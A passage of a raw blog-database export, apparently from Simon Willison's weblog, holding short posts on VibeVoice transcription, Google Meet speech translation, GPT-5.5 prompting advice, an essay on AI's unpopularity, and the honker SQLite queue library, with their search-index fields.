'suggested':716C 'suggests':199C 'summarizing':439C 'supervised':479C 'surprisingness':222C 'svg':671C,681C 'synthetic':430C,492C,573C 't':354C,658C 'talkie':2A,50C,76C,499C,515C,582C,599C,611C,619C,662C 'talkie-lm.com':119C,734C 'talkie-lm.com/chat).':118C 'tasks':436C 'taught':273C 'team':583C 'test':289C,667C 'text':75C,237C,298C,524C 'texts':384C 'that':115C,165C,243C,330C,525C,720C 'the':128C,132C,140C,158C,177C,180C,188C,217C,221C,344C,350C,359C,369C,528C,533C,545C,578C,581C,615C,661C,692C,699C,711C,713C,718C,729C,732C 'their':197C,246C 'them':415C 'themselves':641C 'then':454C 'these':213C,239C,464C 'they':153C,271C 'things':242C 'think':343C 'this':205C,483C,589C 'time':484C 'to':107C,156C,186C,194C,229C,259C,274C,358C,366C,422C,442C,500C,544C,566C,568C,571C,575C,585C,595C,632C,635C,644C 'tokens':69C 'train':577C,598C 'trained':66C,233C,257C,294C,332C 'training':19B,129C,159C,514C,529C,654C 'training-data':18B 'tried':594C 'try':114C 'tuned':410C 'tuning':372C,482C,536C 'turn':450C,491C,567C 'twitter':169C 'twitter.com':171C 'twitter.com/status_effects/status/2049065134014726301):':170C 'types':434C 'up':258C,629C 'update':163C 'usa':141C 'use':636C 'using':91C,416C,466C 'vegan':327C,364C 'version':617C 'vintage':5A,559C,638C 'was':516C,688C,694C,715C 'we':219C,376C,428C,453C,474C,592C,627C,630C 'well':162C,292C 'what':324C 'when':300C 'which':563C 'while':591C 'whisper':48C 'will':173C 'with':368C,385C,606C,664C,701C 'works':105C 'write':312C 'writing':394C 'wrote':550C 'www.cs.toronto.edu':36C 'www.cs.toronto.edu/~duvenaud/),':35C 'you':112C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-27 23:46:56+00:00
{
  "id": 9432,
  "slug": "vibevoice",
  "link_url": "https://github.com/microsoft/VibeVoice",
  "link_title": "microsoft/VibeVoice",
  "via_url": null,
  "via_title": null,
  "commentary": "VibeVoice is Microsoft's Whisper-style audio model for speech-to-text, MIT licensed and with speaker diarization built into the model.\r\n\r\nMicrosoft released it on January 21st, 2026 but I hadn't tried it until today. Here's a one-liner to run it on a Mac with `uv`, [mlx-audio](https://github.com/Blaizzy/mlx-audio) (by Prince Canuma) and the 5.71GB [mlx-community/VibeVoice-ASR-4bit](https://huggingface.co/mlx-community/VibeVoice-ASR-4bit) MLX conversion of the [17.3GB VibeVoice-ASR](https://huggingface.co/microsoft/VibeVoice-ASR/tree/main) model, in this case against a downloaded copy of my recent [podcast appearance with Lenny Rachitsky](https://simonwillison.net/2026/Apr/2/lennys-podcast/):\r\n\r\n    uv run --with mlx-audio mlx_audio.stt.generate \\\r\n      --model mlx-community/VibeVoice-ASR-4bit \\\r\n      --audio lenny.mp3 --output-path lenny \\\r\n      --format json --verbose --max-tokens 32768\r\n\r\n![Screenshot of a macOS terminal running an mlx-audio speech-to-text command using the VibeVoice-ASR-4bit model on lenny.mp3, showing download progress, a warning that audio duration (99.8 min) exceeds the 59 min maximum so it's trimming, encoding/prefilling/generating progress bars, then a Transcription section with JSON segments of speakers discussing AI coding agents, followed by stats: Processing time 524.79 seconds, Prompt 26615 tokens at 50.718 tokens-per-sec, Generation 20248 tokens at 38.585 tokens-per-sec, Peak memory 30.44 GB.](https://static.simonwillison.net/static/2026/vibevoice-terminal.jpg)\r\n\r\nThe tool reported back:\r\n\r\n    Processing time: 524.79 seconds\r\n    Prompt: 26615 tokens, 50.718 tokens-per-sec\r\n    Generation: 20248 tokens, 38.585 tokens-per-sec\r\n    Peak memory: 30.44 GB\r\n\r\nSo that's 8 minutes 45 seconds for an hour of audio (running on a 128GB M5 Max MacBook Pro).\r\n\r\nI've tested it against `.wav` and `.mp3` files and they both worked fine.\r\n\r\nIf you omit `--max-tokens` it defaults to 8192, which is enough for about 25 minutes of audio. I discovered that through trial-and-error and quadrupled it to guarantee I'd get the full hour.\r\n\r\nThat command reported using 30.44GB of RAM at peak, but in Activity Monitor I observed 61.5GB of usage during the prefill stage and around 18GB during the generating phase.\r\n\r\nHere's [the resulting JSON](https://gist.github.com/simonw/d2c716c008b3ba395785f865c6387b6f). The key structure looks like this:\r\n\r\n    {\r\n      \"text\": \"And an open question for me is how many other knowledge work fields are actually prone to these agent loops?\",\r\n      \"start\": 13.85,\r\n      \"end\": 19.5,\r\n      \"duration\": 5.65,\r\n      \"speaker_id\": 0\r\n    },\r\n    {\r\n      \"text\": \"Now that we have this power, people almost underestimate what they can do with it.\",\r\n      \"start\": 19.5,\r\n      \"end\": 22.78,\r\n      \"duration\": 3.280000000000001,\r\n      \"speaker_id\": 1\r\n    },\r\n    {\r\n      \"text\": \"Today, probably 95% of the code that I produce, I didn't type it myself. I write so much of my code on my phone. It's wild.\",\r\n      \"start\": 22.78,\r\n      \"end\": 30.0,\r\n      \"duration\": 7.219999999999999,\r\n      \"speaker_id\": 0\r\n    }\r\n\r\n\r\nSince that's an array of objects we can [open it in Datasette Lite](https://lite.datasette.io/?json=https://gist.github.com/simonw/d2c716c008b3ba395785f865c6387b6f#/data/raw?_facet=speaker_id), making it easier to browse.\r\n\r\nAmusingly that Datasette Lite view shows three speakers - it identified Lenny and me for the conversation, and then a separate Lenny for the voice he used for the additional intro and the sponsor reads!\r\n\r\nVibeVoice can only handle up to an hour of audio, so running the above command transcribed just the first hour of the podcast. To transcribe more than that you'd need to split the audio, ideally with a minute or so of overlap so you can avoid errors from partially transcribed words at the split point. You'd also need to then line up the identified speaker IDs across the multiple segments.",
  "created": "2026-04-27T23:46:56+00:00",
  "metadata": {},
  "search_document": "'/2026/apr/2/lennys-podcast/):':119C '/?json=https://gist.github.com/simonw/d2c716c008b3ba395785f865c6387b6f#/data/raw?_facet=speaker_id),':490C '/blaizzy/mlx-audio)':74C '/microsoft/vibevoice-asr/tree/main)':100C '/mlx-community/vibevoice-asr-4bit)':88C '/simonw/d2c716c008b3ba395785f865c6387b6f).':374C '/static/2026/vibevoice-terminal.jpg)':235C '/vibevoice-asr-4bit':85C,131C '0':410C,473C '1':435C '128gb':279C '13.85':403C '17.3':93C '18gb':362C '19.5':405C,428C '20248':221C,253C '2026':46C '21st':45C '22.78':430C,466C '25':313C '26615':212C,245C '3.280000000000001':432C '30.0':468C '30.44':231C,262C,340C '32768':144C '38.585':224C,255C '45':269C '4bit':165C '5.65':407C '5.71':80C '50.718':215C,247C '524.79':209C,242C '59':181C '61.5':352C '7.219999999999999':470C '8':267C '8192':307C '95':439C '99.8':177C 'a':57C,65C,106C,147C,172C,192C,278C,514C,567C 'about':312C 'above':543C 'across':598C 'activity':348C 'actually':396C 'additional':524C 'against':105C,288C 'agent':400C 'agents':203C 'ai':201C 'almost':419C 'also':588C 'amusingly':496C 'an':151C,272C,383C,477C,536C 'and':32C,78C,290C,293C,323C,325C,360C,382C,507C,512C,526C 'appearance':113C 'are':395C 'around':361C 'array':478C 'asr':97C,164C 'at':214C,223C,344C,582C 'audio':23C,71C,125C,132C,154C,175C,275C,316C,539C,564C 'avoid':576C 'back':239C 'bars':190C 'both':295C 'browse':495C 'built':36C 'but':47C,346C 'by':75C,205C 'can':423C,482C,531C,575C 'canuma':11B,77C 'case':104C 'code':442C,458C 'coding':202C 'command':159C,337C,544C 'community':84C,130C 'conversation':511C 'conversion':90C 'copy':108C 'd':331C,559C,587C 'datasette':5B,486C,498C 'datasette-lite':4B 'defaults':305C 'diarization':35C 'didn':447C 'discovered':318C 'discussing':200C 'do':424C 'download':170C 'downloaded':107C 'duration':176C,406C,431C,469C 'during':356C,363C 'easier':493C 'encoding/prefilling/generating':188C 'end':404C,429C,467C 'enough':310C 'error':324C 'errors':577C 'exceeds':179C 'fields':394C 'files':292C 'fine':297C 'first':548C 'followed':204C 'for':25C,271C,311C,386C,509C,517C,522C 'format':138C 'from':578C 'full':334C 'gb':81C,94C,232C,263C,341C,353C 'generating':365C 'generation':220C,252C 'get':332C 'gist.github.com':373C 'gist.github.com/simonw/d2c716c008b3ba395785f865c6387b6f).':372C 'github.com':73C,602C 'github.com/blaizzy/mlx-audio)':72C 'guarantee':329C 'hadn':49C 'handle':533C 'have':415C 'he':520C 'here':55C,367C 'hour':273C,335C,537C,549C 'how':389C 'huggingface.co':87C,99C 'huggingface.co/microsoft/vibevoice-asr/tree/main)':98C 'huggingface.co/mlx-community/vibevoice-asr-4bit)':86C 'i':48C,284C,317C,330C,350C,444C,446C,452C 'id':409C,434C,472C 'ideally':565C 'identified':505C,595C 'ids':597C 'if':298C 'in':102C,347C,485C 'into':37C 'intro':525C 'is':17C,309C,388C 'it':42C,52C,63C,185C,287C,304C,327C,426C,450C,462C,484C,492C,504C 'january':44C 'json':139C,196C,371C 'just':546C 'key':376C 'knowledge':392C 'lenny':115C,137C,506C,516C 'lenny.mp3':133C,168C 'licensed':31C 'like':379C 'line':592C 'liner':60C 'lite':6B,487C,499C 'lite.datasette.io':489C 'lite.datasette.io/?json=https://gist.github.com/simonw/d2c716c008b3ba395785f865c6387b6f#/data/raw?_facet=speaker_id),':488C 'looks':378C 'loops':401C 'm5':280C 'mac':66C 'macbook':282C 'macos':148C 'making':491C 'many':390C 'max':142C,281C,302C 'max-tokens':141C,301C 'maximum':183C 'me':387C,508C 'memory':230C,261C 'microsoft':2B,18C,40C 'microsoft/vibevoice':1A 'min':178C,182C 'minute':568C 'minutes':268C,314C 'mit':30C 'mlx':8B,70C,83C,89C,124C,129C,153C 'mlx-audio':69C,123C,152C 'mlx-community':82C,128C 'mlx_audio.stt.generate':126C 'model':24C,39C,101C,127C,166C 'monitor':349C 'more':555C 'mp3':291C 'much':455C 'multiple':600C 'my':110C,457C,460C 'myself':451C 'need':560C,589C 'now':412C 'objects':480C 'observed':351C 'of':91C,109C,146C,198C,274C,315C,342C,354C,440C,456C,479C,538C,550C,571C 'omit':300C 'on':43C,64C,167C,277C,459C 'one':59C 'one-liner':58C 'only':532C 'open':384C,483C 'or':569C 'other':391C 'output':135C 'output-path':134C 'overlap':572C 'partially':579C 'path':136C 'peak':229C,260C,345C 'people':418C 'per':218C,227C,250C,258C 'phase':366C 'phone':461C 'podcast':112C,552C 'point':585C 'power':417C 'prefill':358C 'prince':10B,76C 'prince-canuma':9B 'pro':283C 'probably':438C 'processing':207C,240C 'produce':445C 'progress':171C,189C 'prompt':211C,244C 'prone':397C 'python':3B 'quadrupled':326C 'question':385C 'rachitsky':116C 'ram':343C 'reads':529C 'recent':111C 'released':41C 'reported':238C,338C 'resulting':370C 'run':62C,121C 'running':150C,276C,541C 's':19C,56C,186C,266C,368C,463C,476C 'screenshot':145C 'sec':219C,228C,251C,259C 'seconds':210C,243C,270C 'section':194C 'segments':197C,601C 'separate':515C 'showing':169C 'shows':501C 'simonwillison.net':118C 'simonwillison.net/2026/apr/2/lennys-podcast/):':117C 'since':474C 'so':184C,264C,454C,540C,570C,573C 'speaker':34C,408C,433C,471C,596C 'speakers':199C,503C 'speech':13B,27C,156C 'speech-to-text':12B,26C,155C 'split':562C,584C 'sponsor':528C 'stage':359C 'start':402C,427C,465C 'static.simonwillison.net':234C 'static.simonwillison.net/static/2026/vibevoice-terminal.jpg)':233C 'stats':206C 'structure':377C 'style':22C 't':50C,448C 'terminal':149C 'tested':286C 'text':15B,29C,158C,381C,411C,436C 'than':556C 'that':174C,265C,319C,336C,413C,443C,475C,497C,557C 'the':38C,79C,92C,161C,180C,236C,333C,357C,364C,369C,375C,441C,510C,518C,523C,527C,542C,547C,551C,563C,583C,594C,599C 'then':191C,513C,591C 'these':399C 'they':294C,422C 'this':103C,380C,416C 'three':502C 'through':320C 'time':208C,241C 'to':14B,28C,61C,157C,306C,328C,398C,494C,535C,553C,561C,590C 'today':54C,437C 'tokens':143C,213C,217C,222C,226C,246C,249C,254C,257C,303C 'tokens-per-sec':216C,225C,248C,256C 'tool':237C 'transcribe':554C 'transcribed':545C,580C 'transcription':193C 'trial':322C 'trial-and-error':321C 'tried':51C 'trimming':187C 'type':449C 'underestimate':420C 'until':53C 'up':534C,593C 'usage':355C 'used':521C 'using':160C,339C 'uv':7B,68C,120C 've':285C 'verbose':140C 'vibevoice':16C,96C,163C,530C 'vibevoice-asr':95C 'vibevoice-asr-4bit':162C 'view':500C 'voice':519C 'warning':173C 'wav':289C 'we':414C,481C 'what':421C 'which':308C 'whisper':21C 'whisper-style':20C 'wild':464C 'with':33C,67C,114C,122C,195C,425C,566C 'words':581C 'work':393C 'worked':296C 'write':453C 'you':299C,558C,574C,586C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/vibevoice-terminal.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-27 17:37:47+00:00
{
  "id": 9431,
  "slug": "speech-translation-in-google-meet-is-now-rolling-out-to-mobile-d",
  "link_url": "https://workspaceupdates.googleblog.com/2026/04/speech-translation-in-google-meet-is-now-rolling-out-to-mobile-devices.html",
  "link_title": "Speech translation in Google Meet is now rolling out to mobile devices",
  "via_url": null,
  "via_title": null,
  "commentary": "I just encountered this feature via a \"try this out now\" prompt in a Google Meet meeting. It kind-of worked!\r\n\r\nThis is Google's implementation of the ultimate sci-fi translation app, where two people can talk to each other in two separate languages and Meet translates from one to the other and - with a short delay - repeats the text in your preferred language, with a rough imitation of the original speaker's voice.\r\n\r\nIt can only handle English, Spanish, French, German, Portuguese, and Italian at the moment. It's also still very alpha - I ran it successfully between two laptops running web browsers, but then when I tried between an iPhone and an iPad it didn't seem to work.",
  "created": "2026-04-27T17:37:47+00:00",
  "metadata": {},
  "search_document": "'a':21C,28C,72C,83C 'alpha':111C 'also':108C 'an':128C,131C 'and':62C,70C,101C,130C 'app':49C 'at':103C 'between':116C,127C 'browsers':121C 'but':122C 'can':53C,93C 'delay':74C 'devices':12A 'didn':134C 'each':56C 'encountered':17C 'english':96C 'feature':19C 'fi':47C 'french':98C 'from':65C 'german':99C 'google':4A,13B,29C,39C 'handle':95C 'i':15C,112C,125C 'imitation':85C 'implementation':41C 'in':3A,27C,58C,78C 'ipad':132C 'iphone':129C 'is':6A,38C 'it':32C,92C,106C,114C,133C 'italian':102C 'just':16C 'kind':34C 'kind-of':33C 'language':81C 'languages':61C 'laptops':118C 'meet':5A,30C,63C 'meeting':31C 'mobile':11A 'moment':105C 'now':7A,25C 'of':35C,42C,86C 'one':66C 'only':94C 'original':88C 'other':57C,69C 'out':9A,24C 'people':52C 'portuguese':100C 'preferred':80C 'prompt':26C 'ran':113C 'repeats':75C 'rolling':8A 'rough':84C 'running':119C 's':40C,90C,107C 'sci':46C 'sci-fi':45C 'seem':136C 'separate':60C 'short':73C 'spanish':97C 'speaker':89C 'speech':1A 'still':109C 'successfully':115C 't':135C 'talk':54C 'text':77C 'the':43C,68C,76C,87C,104C 'then':123C 'this':18C,23C,37C 'to':10A,55C,67C,137C 'translates':64C 'translation':2A,14B,48C 'tried':126C 'try':22C 'two':51C,59C,117C 'ultimate':44C 'very':110C 'via':20C 'voice':91C 'web':120C 'when':124C 'where':50C 'with':71C,82C 'work':138C 'worked':36C 'workspaceupdates.googleblog.com':139C 'your':79C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-25 12:06:55+00:00
{
  "id": 2160,
  "slug": "romain-huet",
  "quotation": "Since GPT-5.4, we\u2019ve unified Codex and the main model into a single system, so there\u2019s no separate coding line anymore.\r\n\r\nGPT-5.5 takes this further, with strong gains in agentic coding, computer use, and any task on a computer.",
  "source": "Romain Huet",
  "source_url": "https://twitter.com/romainhuet/status/2047955381578838357",
  "created": "2026-04-25T12:06:55+00:00",
  "metadata": {},
  "search_document": "'-5.4':3A '-5.5':25A 'a':13A,41A 'agentic':33A 'ai':43B,47B 'and':8A,37A 'any':38A 'anymore':23A 'codex':7A 'coding':21A,34A 'computer':35A,42A 'further':28A 'gains':31A 'generative':46B 'generative-ai':45B 'gpt':2A,24A,49B 'huet':51C 'in':32A 'into':12A 'line':22A 'llms':48B 'main':10A 'model':11A 'no':19A 'on':40A 'openai':44B 'romain':50C 's':18A 'separate':20A 'since':1A 'single':14A 'so':16A 'strong':30A 'system':15A 'takes':26A 'task':39A 'the':9A 'there':17A 'this':27A 'unified':6A 'use':36A 've':5A 'we':4A 'with':29A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "confirming OpenAI won't release a GPT-5.5-Codex model"
}
blogmark 2026-04-25 04:13:36+00:00
{
  "id": 9429,
  "slug": "gpt-5-5-prompting-guide",
  "link_url": "https://developers.openai.com/api/docs/guides/prompt-guidance?model=gpt-5.5",
  "link_title": "GPT-5.5 prompting guide",
  "via_url": null,
  "via_title": null,
  "commentary": "Now that GPT-5.5 is [available in the API](https://developers.openai.com/api/docs/models/gpt-5.5), OpenAI have released a wealth of useful tips on how best to prompt the new model.\r\n\r\nHere's a neat trick they recommend for applications that might spend considerable time thinking before returning a user-visible response:\r\n\r\n> `Before any tool calls for a multi-step task, send a short user-visible update that acknowledges the request and states the first step. Keep it to one or two sentences.`\r\n\r\nI've already noticed their Codex app doing this, and it does make longer running tasks feel less like the model has crashed.\r\n\r\nOpenAI suggest running the following in Codex to upgrade your existing code using advice embedded in their `openai-docs` skill:\r\n\r\n> `$openai-docs migrate this project to gpt-5.5`\r\n    \r\nThe upgrade guide the coding agent will follow [is this one](https://github.com/openai/skills/blob/724cd511c96593f642bddf13187217aa155d2554/skills/.curated/openai-docs/references/upgrade-guide.md#model-string--light-prompt-rewrite), which even includes light instructions on how to rewrite prompts to better fit the model.\r\n\r\nAlso relevant is the [Using GPT-5.5 guide](https://developers.openai.com/api/docs/guides/latest-model), which opens with this warning:\r\n\r\n> To get the most out of GPT-5.5, treat it as a new model family to tune for, not a drop-in replacement for `gpt-5.2` or `gpt-5.4`. Begin migration with a fresh baseline instead of carrying over every instruction from an older prompt stack. Start with the smallest prompt that preserves the product contract, then tune reasoning effort, verbosity, tool descriptions, and output format against representative examples.\r\n\r\nInteresting to see OpenAI recommend starting from scratch rather than trusting that existing prompts optimized for previous models will continue to work effectively with GPT-5.5.",
  "created": "2026-04-25T04:13:36+00:00",
  "metadata": {},
  "search_document": "'-5.2':223C '-5.4':226C '-5.5':2A,19C,151C,187C,204C,292C '/api/docs/guides/latest-model),':191C '/api/docs/models/gpt-5.5),':27C '/openai/skills/blob/724cd511c96593f642bddf13187217aa155d2554/skills/.curated/openai-docs/references/upgrade-guide.md#model-string--light-prompt-rewrite),':165C 'a':31C,46C,61C,71C,77C,208C,216C,230C 'acknowledges':84C 'advice':135C 'against':264C 'agent':157C 'ai':5B,12B 'already':101C 'also':181C 'an':240C 'and':87C,108C,261C 'any':67C 'api':24C 'app':105C 'applications':52C 'as':207C 'available':21C 'baseline':232C 'before':59C,66C 'begin':227C 'best':38C 'better':177C 'calls':69C 'carrying':235C 'code':133C 'codex':14B,104C,128C 'coding':156C 'considerable':56C 'continue':286C 'contract':253C 'crashed':121C 'descriptions':260C 'developers.openai.com':26C,190C,293C 'developers.openai.com/api/docs/guides/latest-model),':189C 'developers.openai.com/api/docs/models/gpt-5.5),':25C 'docs':141C,145C 'does':110C 'doing':106C 'drop':218C 'drop-in':217C 'effectively':289C 'effort':257C 'embedded':136C 'engineering':9B 'even':167C 'every':237C 'examples':266C 'existing':132C,279C 'family':211C 'feel':115C 'first':90C 'fit':178C 'follow':159C 'following':126C 'for':51C,70C,214C,221C,282C 'format':263C 'fresh':231C 'from':239C,273C 'generative':11B 'generative-ai':10B 'get':198C 'github.com':164C 'github.com/openai/skills/blob/724cd511c96593f642bddf13187217aa155d2554/skills/.curated/openai-docs/references/upgrade-guide.md#model-string--light-prompt-rewrite),':163C 'gpt':1A,15B,18C,150C,186C,203C,222C,225C,291C 'guide':4A,154C,188C 'has':120C 'have':29C 'here':44C 'how':37C,172C 'i':99C 'in':22C,127C,137C,219C 'includes':168C 'instead':233C 'instruction':238C 'instructions':170C 'interesting':267C 'is':20C,160C,183C 'it':93C,109C,206C 'keep':92C 'less':116C 'light':169C 'like':117C 'llms':13B 'longer':112C 'make':111C 'might':54C 'migrate':146C 'migration':228C 'model':43C,119C,180C,210C 'models':284C 'most':200C 'multi':73C 'multi-step':72C 'neat':47C 'new':42C,209C 'not':215C 'noticed':102C 'now':16C 'of':33C,202C,234C 'older':241C 'on':36C,171C 'one':95C,162C 'openai':6B,28C,122C,140C,144C,270C 'openai-docs':139C,143C 'opens':193C 'optimized':281C 'or':96C,224C 'out':201C 'output':262C 'over':236C 'preserves':250C 'previous':283C 'product':252C 'project':148C 'prompt':8B,40C,242C,248C 'prompt-engineering':7B 'prompting':3A 'prompts':175C,280C 'rather':275C 'reasoning':256C 'recommend':50C,271C 'released':30C 'relevant':182C 'replacement':220C 'representative':265C 'request':86C 'response':65C 'returning':60C 'rewrite':174C 'running':113C,124C 's':45C 'scratch':274C 'see':269C 'send':76C 'sentences':98C 'short':78C 'skill':142C 'smallest':247C 'spend':55C 'stack':243C 'start':244C 'starting':272C 'states':88C 'step':74C,91C 'suggest':123C 'task':75C 'tasks':114C 'than':276C 'that':17C,53C,83C,249C,278C 'the':23C,41C,85C,89C,118C,125C,152C,155C,179C,184C,199C,246C,251C 'their':103C,138C 'then':254C 'they':49C 'thinking':58C 'this':107C,147C,161C,195C 'time':57C 'tips':35C 'to':39C,94C,129C,149C,173C,176C,197C,212C,268C,287C 'tool':68C,259C 'treat':205C 'trick':48C 'trusting':277C 'tune':213C,255C 'two':97C 'update':82C 'upgrade':130C,153C 'useful':34C 'user':63C,80C 'user-visible':62C,79C 'using':134C,185C 've':100C 'verbosity':258C 'visible':64C,81C 'warning':196C 'wealth':32C 'which':166C,192C 'will':158C,285C 'with':194C,229C,245C,290C 'work':288C 'your':131C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-24 22:38:49+00:00
{
  "id": 9428,
  "slug": "the-people-do-not-yearn-for-automation",
  "link_url": "https://www.theverge.com/podcast/917029/software-brain-ai-backlash-databases-automation",
  "link_title": "The people do not yearn for automation",
  "via_url": "https://daringfireball.net/linked/2026/04/23/patel-software-brain",
  "via_title": "John Gruber",
  "commentary": "This written and video essay by Nilay Patel explores why AI is unpopular with the general public even as usage numbers for ChatGPT continue to skyrocket.\r\n\r\nIt\u2019s a superb piece of commentary, and something I expect I\u2019ll be thinking about for a long time to come.\r\n\r\nNilay\u2019s core idea is that people afflicted with \u201csoftware brain\u201d - who see the world as something to be automated as much as possible, and attempt to model everything in terms of information flows and data - are becoming detached from everyone else.\r\n\r\n> [\u2026] software brain has ruled the business world for a long time. AI has just made it easier than ever for more people to make more software than ever before \u2014 for every kind of business to automate big chunks of itself with software. It\u2019s everywhere: the absolute cutting edge of advertising and marketing is automation with AI. It\u2019s not being a creative.\r\n>\r\n> But: not everything is a business. Not everything is a loop! The entire human experience cannot be captured in a database. *That\u2019s* the limit of software brain. That\u2019s why people hate AI. It *flattens* them.\r\n>\r\n> Regular people don\u2019t see the opportunity to write code as an opportunity at *all*. The people do not yearn for automation. I\u2019m a full-on smart home sicko; the lights and shades and climate controls of my house are automated in dozens of ways. But huge companies like Apple, Google and Amazon have struggled for over a decade now to make regular people care about smart home automation at all. And they just don\u2019t.",
  "created": "2026-04-24T22:38:49+00:00",
  "metadata": {},
  "search_document": "'a':47C,62C,117C,170C,176C,181C,191C,233C,268C 'about':60C,276C 'absolute':155C 'advertising':159C 'afflicted':74C 'ai':8B,11B,17B,29C,120C,165C,205C 'ai-ethics':16B 'all':223C,281C 'amazon':263C 'an':220C 'and':21C,52C,91C,101C,160C,242C,244C,262C,282C 'apple':260C 'are':103C,250C 'as':37C,82C,87C,89C,219C 'at':222C,280C 'attempt':92C 'automate':144C 'automated':86C,251C 'automation':7A,163C,230C,279C 'be':58C,85C,188C 'becoming':104C 'before':137C 'being':169C 'big':145C 'brain':77C,110C,199C 'business':114C,142C,177C 'but':172C,256C 'by':24C 'cannot':187C 'captured':189C 'care':275C 'chatgpt':41C 'chunks':146C 'climate':245C 'code':218C 'come':66C 'commentary':51C 'companies':258C 'continue':42C 'controls':246C 'core':69C 'creative':171C 'cutting':156C 'data':102C 'database':192C 'decade':269C 'detached':105C 'do':3A,226C 'don':211C,285C 'dozens':253C 'easier':125C 'edge':157C 'else':108C 'entire':184C 'essay':23C 'ethics':18B 'even':36C 'ever':127C,136C 'every':139C 'everyone':107C 'everything':95C,174C,179C 'everywhere':153C 'expect':55C 'experience':186C 'explores':27C 'flattens':207C 'flows':100C 'for':6A,40C,61C,116C,128C,138C,229C,266C 'from':106C 'full':235C 'full-on':234C 'general':34C 'generative':10B 'generative-ai':9B 'google':261C 'gruber':289C 'has':111C,121C 'hate':204C 'have':264C 'home':238C,278C 'house':249C 'huge':257C 'human':185C 'i':54C,56C,231C 'idea':70C 'in':96C,190C,252C 'information':99C 'is':30C,71C,162C,175C,180C 'it':45C,124C,151C,166C,206C 'itself':148C 'john':288C 'just':122C,284C 'kind':140C 'lights':241C 'like':259C 'limit':196C 'll':57C 'llms':12B 'long':63C,118C 'loop':182C 'm':232C 'made':123C 'make':132C,272C 'marketing':161C 'model':94C 'more':129C,133C 'much':88C 'my':248C 'nilay':14B,25C,67C 'nilay-patel':13B 'not':4A,168C,173C,178C,227C 'now':270C 'numbers':39C 'of':50C,98C,141C,147C,158C,197C,247C,254C 'on':236C 'opportunity':215C,221C 'over':267C 'patel':15B,26C 'people':2A,73C,130C,203C,210C,225C,274C 'piece':49C 'possible':90C 'public':35C 'regular':209C,273C 'ruled':112C 's':46C,68C,152C,167C,194C,201C 'see':79C,213C 'shades':243C 'sicko':239C 'skyrocket':44C 'smart':237C,277C 'software':76C,109C,134C,150C,198C 'something':53C,83C 'struggled':265C 'superb':48C 't':212C,286C 'terms':97C 'than':126C,135C 'that':72C,193C,200C 'the':1A,33C,80C,113C,154C,183C,195C,214C,224C,240C 'them':208C 'they':283C 'thinking':59C 'this':19C 'time':64C,119C 'to':43C,65C,84C,93C,131C,143C,216C,271C 'unpopular':31C 'usage':38C 'video':22C 'ways':255C 'who':78C 'why':28C,202C 'with':32C,75C,149C,164C 'world':81C,115C 'write':217C 'written':20C 'www.theverge.com':287C 'yearn':5A,228C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-24 01:50:07+00:00
{
  "id": 9427,
  "slug": "honker",
  "link_url": "https://github.com/russellromney/honker",
  "link_title": "russellromney/honker",
  "via_url": "https://news.ycombinator.com/item?id=47874647",
  "via_title": "Show HN",
  "commentary": "<p>\"Postgres NOTIFY/LISTEN semantics\" for SQLite, implemented as a Rust SQLite extension and various language bindings to help make use of it.</p>\r\n<p>The design of this looks very solid. It lets you write Python code for queues that looks like this:</p>\r\n<pre><span class=\"pl-k\">import</span> <span class=\"pl-s1\">honker</span>\r\n\r\n<span class=\"pl-s1\">db</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s1\">honker</span>.<span class=\"pl-c1\">open</span>(<span class=\"pl-s\">\"app.db\"</span>)\r\n<span class=\"pl-s1\">emails</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s1\">db</span>.<span class=\"pl-c1\">queue</span>(<span class=\"pl-s\">\"emails\"</span>)\r\n<span class=\"pl-c1\">emails</span>.<span class=\"pl-c1\">enqueue</span>({<span class=\"pl-s\">\"to\"</span>: <span class=\"pl-s\">\"alice@example.com\"</span>})\r\n\r\n<span class=\"pl-c\"># Consume (in a worker process)</span>\r\n<span class=\"pl-k\">async</span> <span class=\"pl-k\">for</span> <span class=\"pl-s1\">job</span> <span class=\"pl-c1\">in</span> <span class=\"pl-s1\">emails</span>.<span class=\"pl-c1\">claim</span>(<span class=\"pl-s\">\"worker-1\"</span>):\r\n    <span class=\"pl-en\">send</span>(<span class=\"pl-s1\">job</span>.<span class=\"pl-c1\">payload</span>)\r\n    <span class=\"pl-s1\">job</span>.<span class=\"pl-c1\">ack</span>()</pre>\r\n<p>And Kafka-style durable streams like this:</p>\r\n<pre><span class=\"pl-s1\">stream</span> <span class=\"pl-c1\">=</span> <span class=\"pl-s1\">db</span>.<span class=\"pl-c1\">stream</span>(<span class=\"pl-s\">\"user-events\"</span>)\r\n\r\n<span class=\"pl-k\">with</span> <span class=\"pl-s1\">db</span>.<span class=\"pl-c1\">transaction</span>() <span class=\"pl-k\">as</span> <span class=\"pl-s1\">tx</span>:\r\n    <span class=\"pl-s1\">tx</span>.<span class=\"pl-c1\">execute</span>(<span class=\"pl-s\">\"UPDATE users SET name=? WHERE id=?\"</span>, [<span class=\"pl-s1\">name</span>, <span class=\"pl-s1\">uid</span>])\r\n    <span class=\"pl-s1\">stream</span>.<span class=\"pl-c1\">publish</span>({<span class=\"pl-s\">\"user_id\"</span>: <span class=\"pl-s1\">uid</span>, <span class=\"pl-s\">\"change\"</span>: <span class=\"pl-s\">\"name\"</span>}, <span class=\"pl-s1\">tx</span><span class=\"pl-c1\">=</span><span class=\"pl-s1\">tx</span>)\r\n\r\n<span class=\"pl-k\">async</span> <span class=\"pl-k\">for</span> <span class=\"pl-s1\">event</span> <span class=\"pl-c1\">in</span> <span class=\"pl-s1\">stream</span>.<span class=\"pl-c1\">subscribe</span>(<span class=\"pl-s1\">consumer</span><span class=\"pl-c1\">=</span><span class=\"pl-s\">\"dashboard\"</span>):\r\n    <span class=\"pl-k\">await</span> <span class=\"pl-en\">push_to_browser</span>(<span class=\"pl-s1\">event</span>)</pre>\r\n<p>It also adds 20+ custom SQL functions including these 